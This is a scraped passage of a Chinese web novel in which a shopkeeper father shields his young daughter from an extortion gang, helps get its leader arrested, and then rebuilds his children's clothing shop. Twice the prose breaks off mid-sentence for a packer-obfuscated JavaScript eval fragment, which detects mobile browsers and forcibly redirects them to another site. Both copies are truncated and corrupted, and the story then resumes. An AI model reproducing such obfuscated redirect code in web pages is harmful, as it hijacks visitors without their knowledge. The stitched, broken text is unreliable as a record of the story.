旁边两个小弟也围了上来。寸头吹着口哨,调子是《上海滩》的,难听得要命:
“就是,开个玩笑而已,老板这么小气?”
破洞T恤拍着手,凑到笑笑跟前,想伸手摸她的头发——他的袖子滑下来,露出胳膊上的纹身,是个歪歪扭扭的“虎”字,颜色都褪了。
“这小丫头片子长得挺可爱,让哥抱抱呗,又少不了块肉!”
林凡的拳头“咯吱”响了声,指节因为用力而发白,指甲都快嵌进肉里。一股暴怒冲上头顶,脑子里“嗡嗡”响,恨不得一拳砸在刀螂脸上——
他前世在工地上练过点力气,搬水泥袋练出了臂力,真要打起来,对付刀螂一个人没问题。可他瞥见身后笑笑发抖的身子,小肩膀一抽一抽的,小手紧紧攥着他的衣角,把衬衫都攥皱了;
残存的理智把这股火压了下去:
不能动手!
自己吃亏是小,万一他们打起来,刀螂要是抓着笑笑当人质怎么办?他能悔死!
他深吸一口气,胸口起伏着,声音冷得能掉出冰碴子:
“我再说一遍,离我女儿远点。再敢碰她一下,别怪我不客气。”
“不客气?你能怎么不客气?”
刀螂往前凑了凑,鼻子都快碰到林凡的脸,嘴里的烟味喷在林凡脸上,呛得林凡皱紧了眉。
“在这县城里,还没人敢跟我们黑皮哥叫板!识相的,赶紧把该交的‘管理费’补上——一个月五十,不多吧?你这店一天卖两件衣服就够了。”
他的眼神扫过笑笑,带着威胁的狠劲,“不然下次,可就不是跟你闺女开玩笑这么简单了!下次要是让我在学校门口看着她……”
“哇——”
笑笑被这凶神恶煞的模样吓得哭了出来,小身子往林凡怀里缩,小手紧紧攥着他的衬衫,眼泪砸在他的衣襟上,湿了一小片。
她的声音里满是害怕:“爸爸,我怕……咱们回家……我再也不要来公园了……我再也不要堆城堡了……”
女儿的哭声像一把尖刀,狠狠剐着林凡的心。他再也没心思跟刀螂掰扯,猛地弯腰抱起笑笑,把自己的外套脱下来裹住孩子;
外套带着他的体温,能给笑笑点安全感。他还把帽子拉上,遮住笑笑的脸,生怕再让她看见刀螂的模样,转身就走。
“喂!别走啊!话还没说清楚呢!”
刀螂在后面叫嚣着,脚往地上跺了跺,沙粒溅起来,却没敢真的追上来——公园里还有不少人看着,有个背着帆布挎包的年轻人,手里正拿着摄影机,好像在录像。
黑皮反复跟他们说“别在人多的地方惹事,免得被抓去蹲局子”,刀螂再横,也不敢违背黑皮的话。
林凡抱着笑笑,大步流星地往家走,脚步快得像在跑。
怀里的孩子还在哭,温热的眼泪渗进他的衬衫,烫得他心口发疼。他一边走,一边轻轻拍着笑笑的背,声音发颤却尽量温柔:
“笑笑不怕,爸爸在呢,爸爸把坏人打跑了……不怕不怕,咱们回家吃橘子,甜甜的,是你最喜欢的蜜橘……”
可他的心里,早已经翻江倒海——底线被破了!黑皮这伙人根本没底线!
今天敢在公园里欺负笑笑,明天就敢堵在幼儿园门口,后天说不定还会往店里扔石头、泼油漆!指望他们良心发现,指望街道调解,都是痴人说梦!
必须反击!必须把这伙人彻底解决掉!不然,笑笑这辈子都得活在阴影里,他这个当爹的,还有什么用?
回到店里,王猛正趴在柜台上算账。
账本是林凡特意买的,蓝色封面,里面的格子整整齐齐,王猛的字迹很工整,每一笔收入支出都记得清清楚楚:“13:00女童卫衣一件38元;
13:20橡皮两块2元;13:45作业本三本6元”,总共收入46元。
他手里的笔是黑色的,刚在“作业本三本”后面打了勾,抬头就看见林凡铁青的脸,还有他怀里哭成泪人的笑笑;
吓得手里的笔“啪”地掉在地上,墨水在账本上晕开一小片黑:“凡子!这是咋了?笑笑咋哭成这样?是不是有人欺负你们了?”
第二十七章:不能再这样
林凡把笑笑放在椅子上,从抽屉里拿出婴儿专用纸巾。
是无香的,他特意给笑笑买的,怕孩子过敏。
他轻轻给笑笑擦眼泪,动作慢得怕碰疼她,才咬着牙把公园的事说了一遍,每说一句,声音就沉一分。说到刀螂威胁“在小院门口堵笑笑”时,他的拳头又攥紧了,指节泛白。
王猛听完,“腾”地站起来,抄起门后的拖把就要往外冲——那拖把是塑料杆的,拖把头是蓝色的,上面还有点早上拖地的石灰水。
他攥得杆身发白,指节都泛了青,脚往地上一跺:
“妈的!这刀螂敢欺负笑笑!我去揍死他们!让他们知道咱们不是好惹的!上次绿毛来我就看他们不顺眼,这次敢动笑笑,老子非打断他们的腿不可!”
“站住!”
林凡厉声喝止他,声音像从牙缝里挤出来,满是压抑的怒,胸口还在起伏,刚才在公园憋的火还没散,
“你这样冲出去,除了把自己送进派出所,还能干嘛?
他们三个人,你一个人打得过吗?
就算你打赢了,黑皮能放过咱们?
到时候他带一群人来砸店,咱们这店还开不开?
笑笑还能有安稳日子过吗?”
王猛的身子顿住了,拖把杆被他攥得“咯吱”响,眼睛通红,像头被激怒的狮子,声音都发颤
:
“那咋办?就眼睁睁看着他们欺负笑笑?
看着他们来骚扰咱们的店?
咱们就这么窝囊?
这店是咱们辛辛苦苦开起来的,每天起早贪黑,进货、摆货、看店,一分钱一分钱攒的;笑笑是你心尖上的人,凭啥让他们这么欺负?”
“当然不窝囊!”
林凡的眼神突然沉了下来,锐利得像鹰,盯着王猛的眼睛,一字一句地说,
“但拼命是最蠢的办法。要干,就得用脑子,要么不动,要动就一击致命,让他们再也翻不了身,再也不敢来找咱们麻烦!”
他让王猛先给笑笑倒杯温水——
还特意兑了点蜂蜜,蜂蜜是上次张阿姨送的,说
“给孩子泡水喝,润嗓子”。
王猛赶紧去倒,还拿着勺子搅了搅,凑到嘴边试了试温度,才递给笑笑:
“笑笑乖,喝口蜂蜜水,甜丝丝的,喝完就不难受了。”
林凡看着笑笑喝了两口,又剥了瓣橘子喂到她嘴里——
橘子是昨天买的,皮很薄,一剥就开,橘瓣上的白丝都摘干净了,笑笑喜欢这样吃。
“爸爸,我困”等笑笑情绪稍微稳定点,他把笑笑抱到旁边,哄着笑笑在折叠床上睡着了。
他才走进里间,关上门。
里间很小,只有六平米,堆着些库存的童装,还有一张小小的折叠床——平时他中午休息就在这儿。
墙角的箱子里放着笑笑的玩具,有积木、玩偶,还有一个小小的画板,上面画着笑笑写的“爸爸”两个字,歪歪扭扭的。
愤怒像火一样烧着他的脑子,可他知道,现在必须冷静——只有冷静,才能想出管用的办法,才能护着笑笑。
硬碰硬肯定不行。
黑皮是这一片的地头蛇,手下有十几个小弟,平时在批发市场、游戏厅、网吧里晃悠,没人敢惹。
有次一个卖水果的大叔跟他们顶嘴,第二天水果摊就被砸了,苹果、橘子撒了一地,大叔还被打了两拳,最后只能搬去别的地方卖。
而且他们光脚不怕穿鞋的,自己要是跟他们闹起来,店保不住是小事,笑笑的安全才是大事。
报警?他也想过。可上次市场里的老周被黑皮勒索了两百块,报了警,警察来了也只是批评教育了黑皮几句,说“没有实质性伤害,不能立案”。
没几天,老周的杂货店门口就被泼了油漆,红油漆写着“多管闲事”,老周最后只能自认倒霉,给了黑皮五百块“保护费”。
没有确凿的证据,警察也没办法,回头他们肯定会变本加厉地报复。
那该怎么办?
借力打力?
还是抓他们的把柄?
林凡的脑子像转得飞快的齿轮,前世看的法制节目、听工地上的工友说的闲事,一条一条冒出来。
他想起前世有个工友说,他们老家的地痞被抓,就是因为有人收集了他们勒索、**的证据,比如录音、视频,还有其他受害者的证词,一起报给了派出所,最后那伙人被判了一年刑。
黑皮这伙人横行这么久,不可能没案底,也不可能没仇家。他们的弱点是什么?
是“钱”——他们收保护费、敲诈勒索,都是为了钱。没了钱,他们就活不下去,小弟也会散;
也是“怕”——他们怕被抓进派出所,怕蹲监狱,怕丢了能欺负人的“威风”。一旦真的要坐牢,他们比谁都怂,毕竟没人想在牢里过年。
他突然想起工商所的刘科长。
上次刘科长来检查时,虽然脸冷,说话也硬,问得特别细——从进货渠道(要了批发商的联系方式)到定价(看了成本单),都问了一遍,但看得出来是个讲原则的人。
当时刘科长还跟他说“做生意先把规矩立住,合法经营,谁也不能欺负你”,这话不是随口说的。
黑皮团伙长期敲诈勒索合法商户,这本身就是在破坏市场秩序,是在打管理部门的脸,如果能拿到他们勒索的证据,刘科长肯定会管。
比如录音——虽然现在录音设备少见,但他记得城西旧货市场有个摊位卖旧录音机,是银色的,上次路过时问过,要二十块钱。
他可以明天早上进货的时候去买,到时候黑皮再来要“保护费”,就偷偷录下来;或者联合其他被勒索的商户一起举报,多个人多份力,人多了,刘科长肯定会重视,说不定能让工商联合**一起介入。
可这需要时间,也需要机会——总不能直接冲上去跟黑皮说“你勒索我,我要录音”,那样只会打草惊蛇。
另一个办法更直接,却也更危险。
黑皮这伙人光靠收保护费,肯定不够他们挥霍——他们每天抽的烟是二十块一包的,还经常去游戏厅打游戏,一局游戏就要五块钱,有时候还去小饭馆喝酒。
钱从哪来?
说不定还有别的营生,比如偷偷聚在某个地方**?
或者帮人销赃?再或者偷偷倒卖假货?
如果能找到这些证据,只要捅到派出所,足够他们喝一壶的,说不定还能把他们送进去蹲几天。
他想起上周进货时,在游戏厅后面的小巷里,看到黑皮和几个小弟跟一个穿黑色外套的人交易——黑皮手里拿着一个黑色的包,递给那个人后,那个人给了黑皮一沓钱,看起来有几千块。
当时他没多想,现在想来,那包东西说不定是赃物,比如偷来的手机、电动车零件?
一个大胆又危险的计划,慢慢在他心里成型。
这个计划需要耐心,需要时机,甚至可能要冒风险——说不定还会被黑皮发现,招来更狠的报复。但为了笑笑,为了这个好不容易才有的家,他愿意赌一把。
他推开里间的门,笑笑醒了,王猛正蹲在地上,给笑笑剥橘子。
他把橘瓣上的白丝都摘干净了,一片一片递给笑笑,还跟笑笑说:
“笑笑,咱们下次不去那个公园了,等周末我带你去郊外的公园,那儿有好多小鸭子,好不好?”
见林凡出来,王猛立刻站了起来,眼睛里满是急切:“凡子,想到办法了?”
林凡点了点头,走到王猛面前,声音压得很低,却带着不容置疑的坚定:
“猛子,从今天起,你帮我做三件事。第一,你平时多跟街上的小贩聊聊——比如卖早点的张叔、修鞋的李师傅、还有市场里卖蔬菜的陈婶。
他们在这一片待得久,肯定知道黑皮这伙人除了收保护费,还干别的啥,常在哪**,跟哪些人来往,有没有人见过他们**或者倒腾东西。
你跟他们聊的时候别太刻意,就像平时拉家常一样,比如跟张叔一起抽烟的时候问‘张叔,最近黑皮那伙人没再来闹吧?我听说他们好像还干别的事’,免得他们害怕不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607493|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敢说。
第二,留意下这条街上还有没有其他小店被他们骚扰过——比如隔壁的文具店、巷口的杂货店、还有街尾的理发店。
你可以去文具店买笔的时候,跟老板说‘我家店最近总有人来要管理费,不知道你家有没有’;去杂货店买酱油的时候,跟老周聊两句,看看他愿不愿意跟咱们一起举报。
但别声张,也别说是我让你问的,免得人家害怕,毕竟谁都不想惹麻烦。
第三,也是最重要的——以后只要我不在店里,你必须寸步不离跟着笑笑。她去幼儿园你送,下午你接;
她去公园你跟着,去买零食你也跟着;就算她在店里玩,你也得坐在旁边看报纸,时不时看一眼笑笑,绝不能再让她一个人落单!我已经让她受了一次惊吓,不能再让她受第二次了。”
王猛重重地点头,攥着拳头,指节都泛了白,语气斩钉截铁:
“凡子,你放心!这三件事我肯定办妥当!打听消息我在行,平时跟张叔他们也聊得来,他们都知道我实诚,肯定会跟我说;
保护笑笑更没问题——我王猛就是拼了这条命,也不会让那帮杂碎再碰笑笑一根手指头!上次绿毛来我就该跟他们翻脸,当时我就觉得他们没安好心,这次绝不能再忍了!”
林凡拍了拍他的肩膀,眼眶有点热——在这难捱的日子里,王猛的这份兄弟情,是他少有的慰藉。
他知道,王猛虽然性子直,有时候有点冲动,但说到做到,绝不会糊弄他。
当初开这店,王猛没有出一分钱。说“凡子,我没别的本事,就想跟你一起干,让笑笑能过上好日子”,这份情,他记在心里。
他走到柜台边,抱起笑笑。
孩子的眼睛还是红的,却已经不哭了,小手紧紧搂着他的脖子,把脸埋在他颈窝里,声音小小的,带着点委屈:“爸爸,我以后不想去公园了,也不想出门了,我怕再碰到坏人。”
林凡的心像被针扎了一下,疼得厉害。
他轻轻摸了摸笑笑的头,手指蹭过她柔软的头发——那头发是刚洗过的,还带着点洗发水的香味。
他亲了亲笑笑的小脸,用前所未有的坚定语气说:“笑笑不怕,爸爸向你保证,以后再也不会有坏人欺负你了。相信爸爸,好不好?
咱们的店会好好的,笑笑也会好好的,以后爸爸还带你去公园堆城堡,比上次的还大,咱们还在城堡旁边插好多小旗子。”
笑笑抬起头,看着他的眼睛——林凡的眼神很坚定,像山一样可靠。她慢慢点了点头,把脸埋得更深了,小胳膊紧紧抱着他的脖子,像抓住了最安全的依靠。
林凡抱着女儿,目光越过玻璃门,望向外面那条看似平静的街。
阳光还暖着,街面上的人慢悠悠地走:
穿蓝色围裙的阿姨提着菜篮,里面装着刚买的青菜和豆腐;骑自行车的大叔车后座绑着个大西瓜,西瓜皮是深绿色的,带着条纹;
还有个小女孩牵着妈妈的手,手里拿着个棉花糖,粉粉的,像朵小云彩。
街角的老槐树上,几只麻雀在枝头跳着,叽叽喳喳地叫,细碎的白色花瓣还在往下飘,落在地上,被风吹得打旋。
可他的眼神却冷得像冰,带着决绝的狠劲——
龙有逆鳞,触之必怒。黑皮这伙人,已经把他逼到了墙角,也点燃了他心里最烈的火。
这场仗,他必须赢。
不为别的,只为守护怀里这个小小的、他视若珍宝的女儿,
只为守护这个好不容易才有的家,只为让笑笑能安安稳稳地笑,能不用再怕坏人,
能像别的孩子一样,在公园里自由地堆城堡、追蝴蝶,能在晚上睡觉的时候,
不用抱着他的脖子说“爸爸,我怕”。
一场无声的狩猎,已经拉开了序幕。
他手里攥着的不是**,是给笑笑的安稳日子,
是对这个家的责任,是作为一个父亲,
绝不允许任何人伤害女儿的决心。
这一次,他绝不能输,也输不起。
第二十八章:风波暂息
派出所的介入像一场裹着冷光的寒流,晨雾浓得像掺了半盒牛奶,能见度不足五米。
红蓝警灯穿过去时,只能在雾里拖出两道模糊的光带,扫过墙根处堆积的旧纸箱和冻硬的白菜叶——警笛的呜咽声压得极低,像困兽憋在喉咙里的喘息,刺破了清晨的寂静。
冷雾扑在脸上带着霜气的凉,钻进衣领里打个转,连墙角藏了半冬的霉味都被冻住,凝在砖缝里微微打颤,混着早起环卫工扫地的“唰唰”声,成了这天最早的动静。
黑皮和三个核心手下因“****现行”被铐走的消息,没半天就顺着街面的风飘遍了每个角落;
—卖早点的张叔在冒着热气的油锅前揉面,面团在他布满老茧的手里转得飞快,揉出一层油亮的光,油条的香气裹着白汽飘得满街都是。
他压低声音跟买豆浆的大妈说:
“早该抓了!去年他抢我半箱土鸡蛋,三十个,是我给孙子攒的,他一把夺过去,鸡蛋碎了一半,黄澄澄的蛋液流了我一裤腿,我攥着空篮子,手都抖得撒了半袋盐!”
说话时面团还“啪”地往案板上摔,带着股憋了半年的劲,震得案边的醋瓶都晃了晃。
修鞋的李师傅坐在小马扎上,锤子敲在鞋钉上“笃笃笃”地脆响,比往常急了三分,震得面前的铁砧子都发颤。
他手上的老茧蹭过黑色鞋面,蹭出细绒,嘴里哼的《歌唱祖国》跑了调,却敞亮得能飘到街对面——上周黑皮的手下还来讹了他五十块“保护费”,说他的修鞋摊挡了路,现在没了顾忌,连锤子都挥得更有力。
连卖菜的刘婶称菜时,杆秤的绳儿都不晃了。
她给客人递葱时多塞一根,指尖还沾着青菜的露水,笑着说:
“多拿点,炒着香!”
前阵子她因为少给黑皮“管理费”,一筐西红柿被掀翻在地上,烂了大半,现在秤杆翘得高高的,连秤砣都恨不得往重了放。
那些往日被黑皮欺负得低头走路的小商贩,表面上依旧收摊、吆喝,可眼神里藏不住的松快——卖糖葫芦的老王擦肩而过时;
会悄悄给林凡递个“这下好了”的眼神,嘴角压着的笑像刚冒头的春芽,顶着点嫩白;炸麻花的赵姨装麻花时,多给了孩子半根,说“吃吧,管够”,语气里的底气比往常足了十倍。
林凡的“笑笑宝贝屋”还是每天清晨六点半开门。
木门推开时“吱呀”一声,带着老房子的温吞,门轴上的锈迹蹭出细碎的声响。
他穿着那件洗得发蓝的白衬衫,领口扣得整整齐齐,连第二颗纽扣都没歪,站在货架前整理新到的童袜;
指尖捏着袜口轻轻抻开,淡粉色的袜面上绣着小小的小熊耳朵,耳朵是浅棕色珊瑚绒做的,捏起来能感觉到绒丝的回弹;
袜口缝了两圈莱卡橡筋,拉到最大能撑到十五厘米,松开后立刻恢复原状,不会松垮垮地堆在脚踝;棉线织的细密针脚没歪一根,抻到最开也不会崩线,连袜跟的弧度都熨帖得像贴在掌心。
他的表情平静得像晒过太阳的井水,连眼底都没什么波澜,仿佛那晚蹲在五金店后巷盯梢、跟着警察去作证的惊心动魄,只是一场醒了就忘的梦;
后巷的墙是夯土墙,掉了不少皮,露出里面的碎石子,他蹲了快两个小时,膝盖压着颗拇指大的石子,回家后发现裤膝盖磨破了个洞,里面的秋裤还沾着墙灰;
夜风裹着垃圾桶的馊味,他攥着手机的手心里全是汗,屏幕都被按得发烫,这些细节像被揉皱的纸,藏在平静的褶皱里。
只有王猛知道这平静下藏着什么。
他给林凡递搪瓷杯时,手还会轻轻抖——搪瓷杯上印的“劳动最光荣”字样掉了一半,只剩下“劳动”两个字还清晰,杯沿缺了个小口,是上次搬货架磕的,边缘磨得有点糙,蹭到手指时痒酥酥的;
杯底沾着浅褐色的茶渍圈,是没洗干净的旧痕。热水晃出小半圈,在杯壁上留下淡白的印子,淡淡的茶碱味混着热气飘出来,是他早上特意泡的粗茶,茶叶是从老家带来的,梗多叶少,却耐泡。
王猛眼神里满是近乎崇拜的光,混着点没散的后怕,擦货架时总往林凡身边凑,抹布在铁架上“沙沙”响,嘴张了又张,想问“那晚你咋知道黑皮会去偷五金店”,可每次都被林凡的眼神按住:
林凡会轻轻摇下头,或者指一下店外——比如街对面文具店老板正往这边瞟,镜片反射着晨光,那老板上个月刚被黑皮抢走两盒钢笔,现在见谁聊黑皮都怕惹祸,手里的账本翻得“哗啦”响,连肩膀都绷得像拉满的弓。
王猛立刻闭了嘴,拿起扫帚往店角躲,扫地面时比平时卖力三倍,连橡皮屑都要捏起来丢进小纸篓,扫帚杆都被握得发白。
“凡子,这下可算清净了!”
这天中午没客人,阳光透过玻璃门洒在柜台上,把货架上的童袜照得发亮,连灰尘都在光柱里跳着细碎的舞,落在林凡的账本上,像撒了把金粉。
王猛靠在柜台边,声音压得低低的,却藏不住兴奋,手指在柜台上轻轻敲着节奏,“嗒嗒嗒”的,像在打不成调的拍子,指节上的老茧蹭过木头柜台,留下浅痕。
“没想到黑皮这孙子也有今天!真是报应!以后再也没人敢来收那破‘管理费’了!”
林凡正低头核童装进货单,笔尖在“纯棉外套??每件18元”那行停了停,纸上的墨迹还没干,蹭得指尖有点发蓝——
钢笔是三块钱买的英雄牌,笔尖有点歪,写“8”的时候总显得扁。头也没抬,语气淡得像扫过店门的风:
“猛子,祸从口出。这事儿过了,就烂在肚子里。咱们就是守小店的老百姓,黑皮是谁、为啥进去,跟咱们没关系,明白不?”
他说着,抬眼往店外扫了一眼——街对面文具店老板赶紧低下头,假装整理货架上的笔记本,指尖把本子翻得“哗啦”响,连手指都在抖,生怕被当成“嚼舌根的”。
王猛愣了一下,随即拍了下后脑勺,掌心的老茧“啪”地响,连忙点头:
“明白明白!我啥也不知道!”
他做了个“封嘴”的动作,手掌紧紧贴在嘴上,指节都泛白,可眼睛里的喜色还是溢了出来,像盛不下的光。
转身擦货架时,嘴里哼起了不成调的《东方红》,调子跑了八百里,却透着股松快,抹布擦过童衣的棉布,留下淡淡的水渍,他又赶紧用干布蹭了蹭,怕留下印子。
林凡看着他的背影,笔尖在进货单上轻轻划了道线。
他知道,这平静是偷来的——黑皮进去了,可他那些外围小弟还在:
前几天早上,他开门时看见巷口蹲着两个染黄头发的年轻人,正盯着对面的杂货店,手里捏着烟,烟蒂扔了一地,看他出来就赶紧转开脸,那眼神跟黑皮的手下以前一模一样;
而且这次借派出所的手,靠的是五金店老板的报案,还有自己悄悄递的“黑皮常去的落脚点”纸条,纸条用的是杂货店找零的小票背面,纸质薄得透光,铅笔字写得太用力,都透到了另一面;
他把纸条折成指甲盖大小,趁五金店老板送东西时塞给对方,手指碰了一下就赶紧缩回来,怕留下指纹。手法太巧,万一被有心人扒出来,难免惹麻烦。
这些担忧像根细刺,扎在他心里,连吃饭时都嚼不出滋味。
早上买的肉包子,肉馅的油香都盖不住心里的发堵,咬了三口都没尝出咸淡。当前最要紧的,是趁着这股清净劲,把店的根扎得深些,再深些,像老槐树的根,抓牢了土才不怕风。
店里的生意果然比以前红火。
没了黑皮一伙人的骚扰,附近的家长敢带着孩子慢慢挑了;
有次李姐带着孩子来买外套,以前刚挑了两件,黑皮的手下就晃过来,李姐吓得赶紧把衣服扔回货架,拉着孩子就跑,连掉在地上的围巾都没敢捡;
现在她能带着孩子试三件外套,孩子坐在小凳子上,把外套的帽子戴在头上,转着圈问“妈妈好看吗”,李姐笑着掏出手机拍照,还跟林凡聊孩子的尺码,聊了快十分钟,临走时还买了两双童袜。
林凡把更多心思花在经营上,每天关店后都要翻账本——账本是从批发市场买的横线本,封面用透明胶带粘过;
因为翻得太多,第15页和16页粘在了一起,他用指甲小心翼翼地分开,纸页边缘裂了个小口,赶紧用胶带补好。
翻账本时指尖沾了墨痕,连“荧光笔多卖了5支”“橡皮少了1块库存”都要标出来,红笔圈得小小的,像个小太阳。
他算得清清楚楚:文
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607494|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
具类利润薄得像张纸,一盒铅笔进价1.2元,卖1.5元,一盒赚0.3元,十盒才赚3元,够付半天房租的零头;
反倒是童装,尤其是那些棉含量超过95%、领口缝了软布的,虽然进价18元比普通童装贵3元,卖25元也比别家高2元,家长却愿意买——
张阿姨上周一下子买了两件外套,手指摸着领口的软布,那软布是婴儿专用的纯棉纱布,洗过三次都没起球,她笑着说:
“你家这外套洗了不变形,孩子穿着不硌脖子,比百货大楼的还划算!百货大楼同款要35元,还没你这软乎!”
临走时还跟隔壁楼的李姐推荐“去笑笑宝贝屋买,靠谱”,声音大得连路过的人都回头看,当天下午李姐就来买了件蓝色的。
一个念头在他心里慢慢冒出来,像春芽顶破了土,带着点嫩白的尖:能不能把童装当重点?
甚至以后找小加工厂,按自己的想法做设计——比如在袖口绣个3厘米的小太阳,用金黄色的丝线绣轮廓,中间的圆点用橙色亮片,孩子抬手时亮片会反光,像真的太阳在闪;
或者把裤子腰头做得松些,选2厘米宽的婴儿专用橡筋,再缝层软布,孩子自己就能穿脱,不用麻烦大人;裤脚还能缝个小按扣,孩子长高点就把按扣解开,裤脚放下来能多穿半年。
这样就不用只靠批发市场拿货,利润能从每件7元提到10元,还能跟别家店拉开差距。
他把这个想法写在笔记本上,字迹比平时重了些,墨色深了一层,旁边画了个歪歪扭扭的小外套,袖子画得一边长一边短,还标了行小字“找加工厂——问李干事(社区就业帮扶),红星服装厂?”。
他知道这远不是现在能做到的:红星服装厂在郊区,上次听李干事说过能接小批量订单,五十件起做,可五十件纯棉外套的进价就要九百块,他现在手里的流动资金只有四百多;
而且还得找懂设计的人改样式,自己画的图太丑,工厂未必能看懂。可这个念头像颗泡了水的种子,在心里发了芽,透着股韧劲,就算被土压着,也想往上钻。
连环画的收藏也没停,只是更隐秘了。
他不再自己跑废品站——上次去废品站时,黑皮的手下还盯过他,问他“收破烂干啥”,现在想起来还后怕。
他托了老货郎赵叔帮忙留意,赵叔推着辆永久牌旧自行车走街串巷,车把上缠了圈旧布条防硌手,后货架用铁丝加固过,绑着个印“农业学大寨”的帆布包,里面除了旧物件,还装着个搪瓷缸。
赵叔走街串巷三十年,谁家有旧书旧物件都知道,车铃“叮铃铃”响,消息比谁都灵通。
每次赵叔收到旧连环画,都会用旧报纸包好——报纸是前一天的《晚报》,还带着油墨味,包得方方正正,再托去市区进货的杂货店主捎到店里。
林凡趁晚上关店后,把报纸包揣在怀里,贴着肚子,怀里的温度把纸页烘得暖暖的,像揣了个小暖炉,慢慢走回筒子楼——怕路上遇到熟人问,他还会把包塞进外套里,拉链拉到顶。
上次赵叔还托人带了张纸条,用铅笔写着“收了三本《西游记》(1、3、4册),品相中等,纸没糟,第1册封皮缺角,第3册有铅笔涂鸦”,字迹歪歪扭扭,还沾了点泥点,应该是赵叔在田埂上写的。
林凡给赵叔送了两斤橘子味水果糖,糖纸是透明的,能看见里面橘黄色的糖块——特意选了硬糖,因为赵叔牙不好,软糖粘牙;
还多塞了五块钱辛苦费,是一张两块、三张一块的零钱,叠得方方正正,放在糖袋最下面,说“麻烦您多留意,有好的别放过,尤其是《大闹天宫》《哪吒闹海》这些”,语气里带着点恳求。
他把收来的连环画放在一个旧木箱里,木箱是从旧货市场淘的,花了二十块,木头带着股老松味,锁是后来配的铜锁,有点锈,开的时候“咔嗒”响,藏在床底下,上面还压了个装换季衣服的纸箱。
每次整理时,他都会用笑笑穿小的袜子改的软布擦封面上的灰,布软乎乎的,连纸页间的虫蛀小洞都要仔细看——
有本《三国演义》里有个黄豆大的小洞,他用指尖拂过,能感觉到纸的薄,心里还会可惜“要是没破就好了,能多值点钱”。
第三十章:王猛与笑笑
春意顺着梧桐枝桠往街面上淌,新抽的嫩芽裹着层淡绿的绒,指尖一碰软得像浸了三月的温水,一捻能掐出嫩汁来;
那触感跟笑笑刚冒头的指甲盖一模一样,透着股能掐出水的嫩,连阳光落在芽尖上,都要软趴趴地折个弯,洒在地上成了碎金似的光斑,踩上去能听见“沙沙”的轻响,是碎叶被鞋底碾过的声儿。
九十年代的县城还没被高楼撑得憋气,街边老房子歪着灰瓦檐,青瓦缝里还嵌着去年的枯草,风一吹就晃悠悠,偶尔掉根草屑在路过姑娘的辫梢上;
晾衣绳从这家窗台牵到那家墙头,挂着洗得发白的碎花被褥,被风鼓得像小帆,绳上夹着的旧衣夹“咔嗒咔嗒”晃,蹭得绳子轻响,连被褥上的肥皂味都跟着飘,混着墙根下野蔷薇的淡香。
早点摊的蒸笼冒着裹香的白气,把张叔的脸熏得发红,他的吆喝声裹着葱花味飘出半条街:
“油条豆浆嘞——刚出锅的!咸浆加辣油不?”
几个老头蹲在梧桐树下的青石墩上下棋,竹编棋盘被磨得发亮,棋子落下去“啪嗒”一声脆响,混着芽尖蹭风的“沙沙”声,把春日的暖烘得扎扎实实,连蹲在旁边看棋的大黄狗,都眯着眼打了个带暖意的哈欠,尾巴扫过地面的碎叶,扫出道浅浅的痕。
阳光透过叶片缝隙筛进“笑笑宝贝屋”,在扫得发亮的水泥地上织出斑驳碎金;
有的落在蓝白相间的橡皮盒上,让盒面小熊图案泛着暖光,连小熊的黑纽扣都像沾了阳光,摸上去温温的;
有的绕在浅粉色童装的衣架上,把棉布的纹路照得清清楚楚,伸手一摸,棉线软得能裹住指尖,还带着点刚拆包的棉絮香;
还有几缕落在柜台的玻璃罐上,罐里笑笑攒的玻璃弹珠折射出细碎的光,转着圈儿晃,偶尔撞在罐壁上“叮”一声轻响。
店里木墙上贴满笑笑的画,歪歪扭扭的小太阳用红蜡笔涂得冒了边,颜色浓得像要滴下来,旁边粘着颗彩纸折的小星星,边角卷得像小浪花,是笑笑用舌头舔了胶才粘住的,还能看见淡淡的口水印;
门楣上挂着串小铃铛,是林凡去年去市里进货时挑的,铜铃儿亮闪闪,磨得没有一点锈迹,客人推门时“叮铃”一响,像撒了把碎糖,连空气都甜得发暖。
张婶拎着竹编菜篮进来,篮底沾着新鲜的泥点,青椒蒂上还挂着小水珠,土豆滚圆得能在篮里打转,她指尖戳了戳货架上的白色童袜,指甲缝里还嵌着点青菜汁:
“凡子,上次买的这袜子真耐穿!我家妞妞洗了三回都没松口,袜底防滑纹还清清楚楚,再给我拿两双粉色的!”
林凡笑着递过去,指腹习惯性捏了捏袜口——确认弹性没松,针脚也没歪,才放心塞进张婶菜篮,还多拿了个小塑料袋,袋口是他特意捋平的:“婶,装两层,免得漏了沾灰。”
没了黑皮团伙的骚扰,店里的日子像上了正轨的钟,每声“滴答”都透着踏实。
王猛擦货架时会哼两句《垄上行》,跑调的调子裹着洗衣粉的皂角香,连擦货架的抹布都拧得半干,怕水渗进木头缝里胀坏板,擦到边角时还会用指甲抠一抠,把藏在缝里的灰都剔出来;
客人挑东西时能多聊两句家常,李姐捏着件黄色卫衣笑,指尖捏着卫衣的领口轻轻拽了拽,试看弹性:
“你家笑笑最近又长高了,上次见她还够不着这货架呢,现在踮脚都能勾着衣摆了!”
顺便问童装进货价,林凡也不藏着,指了指卫衣内侧的标签:
“这卫衣进价十八,卖二十五,就赚个进货跑腿的辛苦钱。”
连空气里的石灰味都淡了——之前隔壁修房子,粉尘总飘进来,落在童装领口上白花花一层,拍都拍不干净;
